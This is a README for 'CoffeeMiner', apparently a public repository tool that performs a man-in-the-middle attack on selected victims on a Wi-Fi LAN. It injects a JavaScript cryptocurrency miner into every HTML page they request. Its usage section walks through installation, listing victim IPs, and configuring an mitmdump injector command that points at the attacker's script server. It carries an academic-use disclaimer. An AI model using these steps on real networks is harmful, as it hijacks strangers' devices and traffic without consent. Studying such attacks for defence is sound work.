arnaucube
arnaucube/coffeeMinerPublic Self-hosted repository
coffeeMiner/README.md
README.mdRaw
 1# CoffeeMiner
 2
 3Collaborative (mitm) cryptocurrency mining pool in wifi networks
 4
 5**Warning: this project is for academic/research purposes only.**
 6
 7A blog post about this project can be read here: http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html
 8
 9![coffeeMiner](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-logo-small.png "coffeeMiner")
10
11## Concept
12- Performs a MITM attack to all selected victims
13- Injects a js script in all the HTML pages requested by the victims
14- The js script injected contains a cryptocurrency miner
15- All the devices victims connected to the Lan network, will be mining for the CoffeeMiner
16
17
18## Use
19- install.sh
20```
21bash install.sh
22```
23- edit victims.txt with one IP per line
24- edit coffeeMiner.py, line 28, with the coffeeMiner httpserver IP:
25```py
26os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
27```
28- execute coffeeMiner.py
29```
30python3 coffeeMiner.py ipgateway
31```
32
33![network](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-network-attack.png "network")
34
35
36A complete instructions for academic scenario can be found in https://github.com/arnaucode/coffeeMiner/blob/master/virtualbox_scenario_instructions.md
37
38
39
40![demo](https://raw.githubusercontent.com/arnaucode/coffeeMiner/master/coffeeMiner-demo-cutted.gif "demo")